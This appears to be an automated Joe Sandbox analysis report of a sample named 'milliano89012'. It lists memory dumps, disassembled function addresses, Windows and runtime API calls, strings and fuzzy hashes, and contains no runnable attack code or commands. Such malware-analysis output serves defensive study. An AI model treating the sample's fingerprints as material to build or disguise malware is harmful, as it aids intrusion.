Associated: 0000000D.00000002.441036459.0000000000E80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.441036459.0000000000E84000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.441036459.0000000000E87000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.441036459.0000000000E90000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.441036459.0000000000EF0000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_d80000_milliano89012.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 41f935964cbdc9d6e59f893e4d9d45654507f6024dc22a4db73dc1be4add7f46
Instruction ID: 152fdd420af7dfcc6df86c72954370e6eab1db85fd0a81c34441345ed48de2b3
Opcode Fuzzy Hash: 41f935964cbdc9d6e59f893e4d9d45654507f6024dc22a4db73dc1be4add7f46
Instruction Fuzzy Hash: 27B01272141540C7E349A714D90AB6B7220FB80F00F00893AE00781852DB389B2CD98A

Function 00D9FED0 Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.441036459.0000000000D90000.00000040.00001000.00020000.00000000.sdmp, Offset: 00D80000, based on PE: true

Associated: 0000000D.00000002.441036459.0000000000D80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.441036459.0000000000E70000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.441036459.0000000000E80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.441036459.0000000000E84000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.441036459.0000000000E87000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.441036459.0000000000E90000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.441036459.0000000000EF0000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_d80000_milliano89012.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3f3d7aa38811b8d75e7f035be4e9a31914adf6f2f9842a42369159ae9521bbbf
Instruction ID: 9b30904a3bfeb6814e26683714e5c097bc05a41d35c26203adaeaac906fc0f52
Opcode Fuzzy Hash: 3f3d7aa38811b8d75e7f035be4e9a31914adf6f2f9842a42369159ae9521bbbf
Instruction Fuzzy Hash: C9B01272100580C7E34EA714D906B4B7210FB80F00F408A3AA00781891DB789B2CD98A

Function 00D9FEA0 Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.441036459.0000000000D90000.00000040.00001000.00020000.00000000.sdmp, Offset: 00D80000, based on PE: true

Associated: 0000000D.00000002.441036459.0000000000D80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.441036459.0000000000E70000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.441036459.0000000000E80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.441036459.0000000000E84000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.441036459.0000000000E87000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.441036459.0000000000E90000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.441036459.0000000000EF0000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_d80000_milliano89012.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6032af2d0d5c3e144073b0b78b369b1f4db831bf511812c370cfa36f16aa84fd
Instruction ID: c5322eb374cbfb3adeb08d178b54e1ae74a7d58a0408861c097d1ba4bd942992
Opcode Fuzzy Hash: 6032af2d0d5c3e144073b0b78b369b1f4db831bf511812c370cfa36f16aa84fd
Instruction Fuzzy Hash: 0DB01272200640C7F31A9714D906F4B7210FB80F00F00893AA007C19A1DB389A2CD556

Function 00D9FE24 Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.441036459.0000000000D90000.00000040.00001000.00020000.00000000.sdmp, Offset: 00D80000, based on PE: true

Associated: 0000000D.00000002.441036459.0000000000D80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.441036459.0000000000E70000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.441036459.0000000000E80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.441036459.0000000000E84000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.441036459.0000000000E87000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.441036459.0000000000E90000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.441036459.0000000000EF0000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_d80000_milliano89012.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2e7bb4dc02deca6488bcbd727a6b6eb413310111d5b181e4d110d688bd4fe620
Instruction ID: 4523e9276363b51c29093556ee00c3605be97a6a096d126b10744d78506899f7
Opcode Fuzzy Hash: 2e7bb4dc02deca6488bcbd727a6b6eb413310111d5b181e4d110d688bd4fe620
Instruction Fuzzy Hash: E7B012B2104580C7E31A9714D906B4B7210FB80F00F40893AA00B81861DB389A2CD456

Function 00D9FFFC Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.441036459.0000000000D90000.00000040.00001000.00020000.00000000.sdmp, Offset: 00D80000, based on PE: true

Associated: 0000000D.00000002.441036459.0000000000D80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.441036459.0000000000E70000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.441036459.0000000000E80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.441036459.0000000000E84000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.441036459.0000000000E87000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.441036459.0000000000E90000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.441036459.0000000000EF0000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_d80000_milliano89012.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 975dfa9cf9b8080f9d0320802deb543160739c3189efc7d7e2a617800603798d
Instruction ID: 5af6445773ea8696aa9cd62fdf5509cf1cb9f7b4cf56a5a77559796e3d2133fe
Opcode Fuzzy Hash: 975dfa9cf9b8080f9d0320802deb543160739c3189efc7d7e2a617800603798d
Instruction Fuzzy Hash: 07B012B2240540C7E30D9714D906B4B7250FBC0F00F00893AE10B81850DA3C993CC44B

Function 00D9FFB4 Relevance: .0, Instructions: 6COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.441036459.0000000000D90000.00000040.00001000.00020000.00000000.sdmp, Offset: 00D80000, based on PE: true

Associated: 0000000D.00000002.441036459.0000000000D80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.441036459.0000000000E70000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.441036459.0000000000E80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.441036459.0000000000E84000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.441036459.0000000000E87000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.441036459.0000000000E90000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.441036459.0000000000EF0000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_d80000_milliano89012.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4dddc10ebfa889a6a675612f7993cc76823eb4169e77ac0f74568cd9575660f9
Instruction ID: 7e2af0442ae64c9f6bb8df8c94f4cb17495a0f0e8e42cafe04a2b86fa0e4786e
Opcode Fuzzy Hash: 4dddc10ebfa889a6a675612f7993cc76823eb4169e77ac0f74568cd9575660f9
Instruction Fuzzy Hash: A2B012B2104580C7E3099714D906F4B7210FB90F00F40893EA00F81851DB3CD92CD44A

Function 00D9FF34 Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.441036459.0000000000D90000.00000040.00001000.00020000.00000000.sdmp, Offset: 00D80000, based on PE: true

Associated: 0000000D.00000002.441036459.0000000000D80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.441036459.0000000000E70000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.441036459.0000000000E80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.441036459.0000000000E84000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.441036459.0000000000E87000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.441036459.0000000000E90000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.441036459.0000000000EF0000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_d80000_milliano89012.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6e5e409cf338bac94f49896e83b2b8a287e5016741aed655f6c9dd643cd52d5d
Instruction ID: c0177d7ad0d10355b3c7d2619bc7f24452a3c2aab25a1a733e07692cdee9b307
Opcode Fuzzy Hash: 6e5e409cf338bac94f49896e83b2b8a287e5016741aed655f6c9dd643cd52d5d
Instruction Fuzzy Hash: B1B012B2200540C7E319D714D906F4B7210FB80F00F40893AB10B81862DB3C992CD45A

Function 00401000 Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 155windowCOMMON

Download Yara Rule

APIs

LoadStringW.USER32(?,00000067,0044F960,00000064), ref: 00401046
LoadStringW.USER32(?,0000006D,0044F898,00000064), ref: 0040105D
LoadAcceleratorsW.USER32 ref: 004010AE
GetMessageW.USER32 ref: 004010C1
TranslateAcceleratorW.USER32(?,J$vh,?), ref: 004010EC
TranslateMessage.USER32(?), ref: 00401134
DispatchMessageW.USER32(?), ref: 0040113A
GetMessageW.USER32 ref: 00401195

Strings

H, xrefs: 00401021
vh, xrefs: 0040102F
J$vh, xrefs: 004010E0, 004010EA
J$vh, xrefs: 00401167

Memory Dump Source

Source File: 0000000D.00000002.440945111.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.440945111.0000000000450000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_milliano89012.jbxd

Yara matches

Similarity

API ID: Message$Load$StringTranslate$AcceleratorAcceleratorsDispatch
String ID: H$J$vh$J$vh$vh
API String ID: 1345915193-2891175642
Opcode ID: 02675688c6014408daf770a63511859b44b62afac9d4176f870986188203c2a7
Instruction ID: 4bb166270fcb46a827c2a3b3a1f39cc4f4e61fb4e788d0e0c7a82a291f4a02df
Opcode Fuzzy Hash: 02675688c6014408daf770a63511859b44b62afac9d4176f870986188203c2a7
Instruction Fuzzy Hash: DC41A071A00209A7DB18DB55DC51BBEB774EB98385F04813EFA41BA3E0D7799901C798

Function 00DC8788 Relevance: 19.7, APIs: 6, Strings: 5, Instructions: 431COMMON

Download Yara Rule

APIs

_wcspbrk.LIBCMT ref: 00DC8891
_wcspbrk.LIBCMT ref: 00DC8979
_wcspbrk.LIBCMT ref: 00DC8A61
_wcspbrk.LIBCMT ref: 00DC8A9B
_wcspbrk.LIBCMT ref: 00E11B9C

Strings

Kernel-MUI-Language-Disallowed, xrefs: 00DC8914
Kernel-MUI-Language-SKU, xrefs: 00DC89FC
WindowsExcludedProcs, xrefs: 00DC87C1
Kernel-MUI-Number-Allowed, xrefs: 00DC87E6
Kernel-MUI-Language-Allowed, xrefs: 00DC8827

Memory Dump Source

Source File: 0000000D.00000002.441036459.0000000000D90000.00000040.00001000.00020000.00000000.sdmp, Offset: 00D80000, based on PE: true

Associated: 0000000D.00000002.441036459.0000000000D80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.441036459.0000000000E70000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.441036459.0000000000E80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.441036459.0000000000E84000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.441036459.0000000000E87000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.441036459.0000000000E90000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.441036459.0000000000EF0000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_d80000_milliano89012.jbxd

Similarity

API ID: _wcspbrk
String ID: Kernel-MUI-Language-Allowed$Kernel-MUI-Language-Disallowed$Kernel-MUI-Language-SKU$Kernel-MUI-Number-Allowed$WindowsExcludedProcs
API String ID: 402402107-258546922
Opcode ID: ccdb4ed6ecbc88dfd3dec2c04bce40dfc0da242940c4573a32560d53fbed11dc
Instruction ID: 08608e506cd0ef13c4770924ca70e0a8f57f3646f82980f8b8f59e793b62ba71
Opcode Fuzzy Hash: ccdb4ed6ecbc88dfd3dec2c04bce40dfc0da242940c4573a32560d53fbed11dc
Instruction Fuzzy Hash: 9EF1C4B2D0024AEFCF11EF95C981EEEB7B9FF08304F14446AE605A7211EB349A45DB61

Function 00E3822C Relevance: 19.4, APIs: 2, Strings: 9, Instructions: 160COMMON

Download Yara Rule

APIs

_wcsnlen.LIBCMT ref: 00E38240
_wcsnlen.LIBCMT ref: 00E3825C

Strings

DaylightStart, xrefs: 00E38341
TimeZoneKeyName, xrefs: 00E3836A, 00E3839B
StandardStart, xrefs: 00E382E5
Bias, xrefs: 00E38282
DaylightBias, xrefs: 00E38324
StandardName, xrefs: 00E382A8
DaylightName, xrefs: 00E38309
StandardBias, xrefs: 00E382C7
DynamicDaylightTimeDisabled, xrefs: 00E383C1

Memory Dump Source

Source File: 0000000D.00000002.441036459.0000000000D90000.00000040.00001000.00020000.00000000.sdmp, Offset: 00D80000, based on PE: true

Associated: 0000000D.00000002.441036459.0000000000D80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.441036459.0000000000E70000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.441036459.0000000000E80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.441036459.0000000000E84000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.441036459.0000000000E87000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.441036459.0000000000E90000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.441036459.0000000000EF0000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_d80000_milliano89012.jbxd

Similarity

API ID: _wcsnlen
String ID: Bias$DaylightBias$DaylightName$DaylightStart$DynamicDaylightTimeDisabled$StandardBias$StandardName$StandardStart$TimeZoneKeyName
API String ID: 3628947076-1387797911
Opcode ID: 4cb44f04a6b94d0e564951166813913a6f444a3d64728b5a41aac8809640d955
Instruction ID: 1a3761e84e1946cd51c89340bdb4c908afa0d2c2705205de124a0ecbcf649cfe
Opcode Fuzzy Hash: 4cb44f04a6b94d0e564951166813913a6f444a3d64728b5a41aac8809640d955
Instruction Fuzzy Hash: A6418176241309BEEB019AA0CE46FEE7BECAF04B44F105162BA04F6191DBB0DA54D7A4

Function 00DE13CB Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 195COMMON

Download Yara Rule

APIs

___swprintf_l.LIBCMT ref: 00DE146B
___swprintf_l.LIBCMT ref: 00DE1490
___swprintf_l.LIBCMT ref: 00E0E970

Strings

::%hs%u.%u.%u.%u, xrefs: 00E0E967
:%u.%u.%u.%u, xrefs: 00E0E9F4
ffff:, xrefs: 00E0E94B
::ffff:0:%u.%u.%u.%u, xrefs: 00E0E9B0

Memory Dump Source

Source File: 0000000D.00000002.441036459.0000000000D90000.00000040.00001000.00020000.00000000.sdmp, Offset: 00D80000, based on PE: true

Associated: 0000000D.00000002.441036459.0000000000D80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.441036459.0000000000E70000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.441036459.0000000000E80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.441036459.0000000000E84000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.441036459.0000000000E87000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.441036459.0000000000E90000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.441036459.0000000000EF0000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_d80000_milliano89012.jbxd

Similarity

API ID: ___swprintf_l
String ID: :%u.%u.%u.%u$::%hs%u.%u.%u.%u$::ffff:0:%u.%u.%u.%u$ffff:
API String ID: 48624451-2108815105
Opcode ID: 50390ab0c9d42835c3b84f038dfa42f77ef0d84ddcf615b6d6b3062cb1e3cd8f
Instruction ID: 2fcf25499694774aaa9ed11d5855ea0b64aff4e0edf5b641453290be70652611
Opcode Fuzzy Hash: 50390ab0c9d42835c3b84f038dfa42f77ef0d84ddcf615b6d6b3062cb1e3cd8f
Instruction Fuzzy Hash: 8E613975A00695AACF34EF5AC8908BEBBB5EFD5300758C56EE4D657780D334AA80CB70

Function 00E43B8E Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 187COMMON

Download Yara Rule

APIs

___swprintf_l.LIBCMT ref: 00E43C2C
___swprintf_l.LIBCMT ref: 00E43C68
___swprintf_l.LIBCMT ref: 00E43D09
___swprintf_l.LIBCMT ref: 00E43D31
___swprintf_l.LIBCMT ref: 00E43D56
___swprintf_l.LIBCMT ref: 00E43D8D

Strings

ffff:, xrefs: 00E43C06, 00E43C22
:%u.%u.%u.%u, xrefs: 00E43D84
::ffff:0:%u.%u.%u.%u, xrefs: 00E43C5F
::%hs%u.%u.%u.%u, xrefs: 00E43C23

Memory Dump Source

Source File: 0000000D.00000002.441036459.0000000000D90000.00000040.00001000.00020000.00000000.sdmp, Offset: 00D80000, based on PE: true

Associated: 0000000D.00000002.441036459.0000000000D80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.441036459.0000000000E70000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.441036459.0000000000E80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.441036459.0000000000E84000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.441036459.0000000000E87000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.441036459.0000000000E90000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.441036459.0000000000EF0000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_d80000_milliano89012.jbxd

Similarity

API ID: ___swprintf_l
String ID: :%u.%u.%u.%u$::%hs%u.%u.%u.%u$::ffff:0:%u.%u.%u.%u$ffff:
API String ID: 48624451-2108815105
Opcode ID: f821a1b73a0f65bd8a076c066c36c4f9322d7ac8e763674d2e6413b1adf0f1c2
Instruction ID: a26940f8f87dabcbd9dfd43c86eeebe0691eb2966028bdaf3ad84d714adb813d
Opcode Fuzzy Hash: f821a1b73a0f65bd8a076c066c36c4f9322d7ac8e763674d2e6413b1adf0f1c2
Instruction Fuzzy Hash: 4261C472900644AFCF20DFA9D8814BEBBF5EF54324B14D52AF8A9B7141E330EB409B60

Function 004011B0 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 142windowCOMMON

Download Yara Rule

APIs

LoadIconW.USER32 ref: 00401275
LoadCursorW.USER32 ref: 00401280

Strings

VUUU, xrefs: 00401301
0, xrefs: 00401257
>, xrefs: 004011E3
m, xrefs: 004012EF

Memory Dump Source

Source File: 0000000D.00000002.440945111.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.440945111.0000000000450000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_milliano89012.jbxd

Yara matches

Similarity

API ID: Load$CursorIcon
String ID: 0$>$VUUU$m
API String ID: 788427747-2176459256
Opcode ID: b3c072ccd7bf7be6b03123eaf72f8f97d1c713335b8aca75c7ae8c9c6ffa50d4
Instruction ID: af83bd4de160c95d03ef63534ef7bf8b4ba65b7f5414035323f5692c015f8b7b
Opcode Fuzzy Hash: b3c072ccd7bf7be6b03123eaf72f8f97d1c713335b8aca75c7ae8c9c6ffa50d4
Instruction Fuzzy Hash: DD41A070E006099BDB18CF99C8942EEBAB5FB94305F14817FE505FB3E0E7795A418B84

Function 00DD7EFD Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 127COMMON

Download Yara Rule

APIs

BaseQueryModuleData.KERNEL32(?,00000000,00000000,ExecuteOptions,?,?,?), ref: 00DF3F12

Strings

CLIENT(ntdll): Found Execute=1, turning off execution protection for the process because of %wZ, xrefs: 00DF3F75
Execute=1, xrefs: 00DF3F5E
CLIENT(ntdll): Found ExecuteOptions = %ws for %wZ in application compatibility database, xrefs: 00DF3F4A
CLIENT(ntdll): Found CheckAppHelp = %d for %wZ in ImageFileExecutionOptions, xrefs: 00DF3EC4
CLIENT(ntdll): Processing %ws for patching section protection for %wZ, xrefs: 00DFE2FB
ExecuteOptions, xrefs: 00DF3F04
CLIENT(ntdll): Processing section info %ws..., xrefs: 00DFE345

Memory Dump Source

Source File: 0000000D.00000002.441036459.0000000000D90000.00000040.00001000.00020000.00000000.sdmp, Offset: 00D80000, based on PE: true

Associated: 0000000D.00000002.441036459.0000000000D80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.441036459.0000000000E70000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.441036459.0000000000E80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.441036459.0000000000E84000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.441036459.0000000000E87000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.441036459.0000000000E90000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.441036459.0000000000EF0000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_d80000_milliano89012.jbxd

Similarity

API ID: BaseDataModuleQuery
String ID: CLIENT(ntdll): Found CheckAppHelp = %d for %wZ in ImageFileExecutionOptions$CLIENT(ntdll): Found Execute=1, turning off execution protection for the process because of %wZ$CLIENT(ntdll): Found ExecuteOptions = %ws for %wZ in application compatibility database$CLIENT(ntdll): Processing %ws for patching section protection for %wZ$CLIENT(ntdll): Processing section info %ws...$Execute=1$ExecuteOptions
API String ID: 3901378454-484625025
Opcode ID: 7068371b2b9b4896a927b8335dc924fc10a646f6b5d7df3ba0aca571fe5c92ee
Instruction ID: 22fe2b898c6b4cc4df12d57e6a60fb49b635231f796ed3eb16d2bd68d44bc122
Opcode Fuzzy Hash: 7068371b2b9b4896a927b8335dc924fc10a646f6b5d7df3ba0aca571fe5c92ee
Instruction Fuzzy Hash: A941E771A4020CBADF209BA4DC86FEA73BCEF15704F0504E9F605E6191EA709B498B70

Function 00DE0B15 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 272COMMON

Download Yara Rule

APIs

__fassign.LIBCMT ref: 00DE0BF6
__fassign.LIBCMT ref: 00DE0CA2

Strings

:, xrefs: 00DE0BA9
:, xrefs: 00DE0AC7
., xrefs: 00DE0A0C

Memory Dump Source

Source File: 0000000D.00000002.441036459.0000000000D90000.00000040.00001000.00020000.00000000.sdmp, Offset: 00D80000, based on PE: true

Associated: 0000000D.00000002.441036459.0000000000D80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.441036459.0000000000E70000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.441036459.0000000000E80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.441036459.0000000000E84000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.441036459.0000000000E87000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.441036459.0000000000E90000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.441036459.0000000000EF0000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_d80000_milliano89012.jbxd

Similarity

API ID: __fassign
String ID: .$:$:
API String ID: 3965848254-2308638275
Opcode ID: b15de34944a390e3fa5e98378680e2de18144008d38fd4e6897fe19ea25b26ab
Instruction ID: c5c6fef1ecab9cc88f730a0cbee049ba7e79489172377c175807d64b739f54fb
Opcode Fuzzy Hash: b15de34944a390e3fa5e98378680e2de18144008d38fd4e6897fe19ea25b26ab
Instruction Fuzzy Hash: B6A18D7190038ADBCB24EF66C8456BEBBB5FF05704F38856AD442A7281D7B09AC1CB71

Function 0044988D Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 00449899

Part of subcall function 00447C5B: __getptd_noexit.LIBCMT ref: 00447C5E
Part of subcall function 00447C5B: __amsg_exit.LIBCMT ref: 00447C6B

__amsg_exit.LIBCMT ref: 004498B9
__lock.LIBCMT ref: 004498C9
InterlockedDecrement.KERNEL32(?), ref: 004498E6
_free.LIBCMT ref: 004498F9
InterlockedIncrement.KERNEL32(0044E570), ref: 00449911

Strings

pD, xrefs: 004498FF, 00449907

Memory Dump Source

Source File: 0000000D.00000002.440945111.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.440945111.0000000000450000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_milliano89012.jbxd

Yara matches

Similarity

API ID: Interlocked__amsg_exit$DecrementIncrement__getptd__getptd_noexit__lock_free
String ID: pD
API String ID: 3470314060-1597287149
Opcode ID: c18de111d261a02e9d78a618057e181493686eba03027861f13b7e48fcf7f9db
Instruction ID: 20dd09c96072b296c43c639f77837e783510ec6cdce97d81bcc61ef39b9e1052
Opcode Fuzzy Hash: c18de111d261a02e9d78a618057e181493686eba03027861f13b7e48fcf7f9db
Instruction Fuzzy Hash: 44018B31941721ABF720AB6A844674F77A0BF02724F14002BE804A3391CB3CAC81EBCD

Function 00DE0554 Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 202COMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00E02206

Strings

RTL: Re-Waiting, xrefs: 00E0223A, 00E02328
RTL: Resource at %p, xrefs: 00E0221D, 00E0230B
RTL: Acquire Shared Sem Timeout %d(%I64u secs), xrefs: 00E0220E
RTL: Acquire Exclusive Sem Timeout %d (%I64u secs), xrefs: 00E022FC

Memory Dump Source

Source File: 0000000D.00000002.441036459.0000000000D90000.00000040.00001000.00020000.00000000.sdmp, Offset: 00D80000, based on PE: true

Associated: 0000000D.00000002.441036459.0000000000D80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.441036459.0000000000E70000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.441036459.0000000000E80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.441036459.0000000000E84000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.441036459.0000000000E87000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.441036459.0000000000E90000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.441036459.0000000000EF0000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_d80000_milliano89012.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: RTL: Acquire Exclusive Sem Timeout %d (%I64u secs)$RTL: Acquire Shared Sem Timeout %d(%I64u secs)$RTL: Re-Waiting$RTL: Resource at %p
API String ID: 885266447-4236105082
Opcode ID: 52c4af4decb184aa6556c49e0b8dd88a291d91c1e8d195c2fc3aafd036f6e41a
Instruction ID: f2060148629e65f9b167802577cc03af531f7ababcf69d9aa55a10cfb67c2b9f
Opcode Fuzzy Hash: 52c4af4decb184aa6556c49e0b8dd88a291d91c1e8d195c2fc3aafd036f6e41a
Instruction Fuzzy Hash: A95139317012516FEB159A15CC86F6633E9DF94724F21922DFE48EB2C5DA71EC8187B0

